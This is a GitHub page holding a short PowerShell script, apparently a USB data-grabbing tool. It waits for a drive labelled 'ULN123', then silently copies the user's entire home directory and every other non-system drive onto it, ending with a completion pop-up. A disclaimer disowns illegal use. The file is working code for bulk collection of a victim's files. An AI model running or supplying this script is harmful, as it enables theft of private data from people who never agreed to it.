-
Notifications
You must be signed in to change notification settings - Fork 2
/
lds.ps1
17 lines (17 loc) · 958 Bytes
/
lds.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Use this script at your own risk. The author assumes no responsibility for any illegal or improper use of the code
[System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms");
$dsl = "ULN123";
$itefc = @('MicrosoftEdgeBackups','AppData','Musica');
$mwt = 30;
$c = 0;
while ($c -ne $mwt) {
Start-Sleep -s 1;
$ds = gwmi -Class Win32_logicaldisk | ? { $_.VolumeName -Like "*$dsl*" } | select DeviceID | % { $_.DeviceID };
if ($ds) {
gci $home -Recurse -Exclude $itefc | cp -Destination {Join-Path ($ds + "/" + $env:UserName + "_C/") $_.FullName.Substring($home.length)}
$do = gwmi -Class Win32_logicaldisk | ? { $_.DeviceID -NotLike "*C*" } | ? { $_.DeviceID -NotLike "*$ds*" } | select DeviceID | % { $_.DeviceID };
$do | % { cp -Path $_ -Destination ($ds + "/" + $env:UserName + "_" + $_).TrimEnd(':') -Recurse }
[System.Windows.Forms.MessageBox]::Show("Process completed","LDS",0 ,48);
exit;}
$c++;
}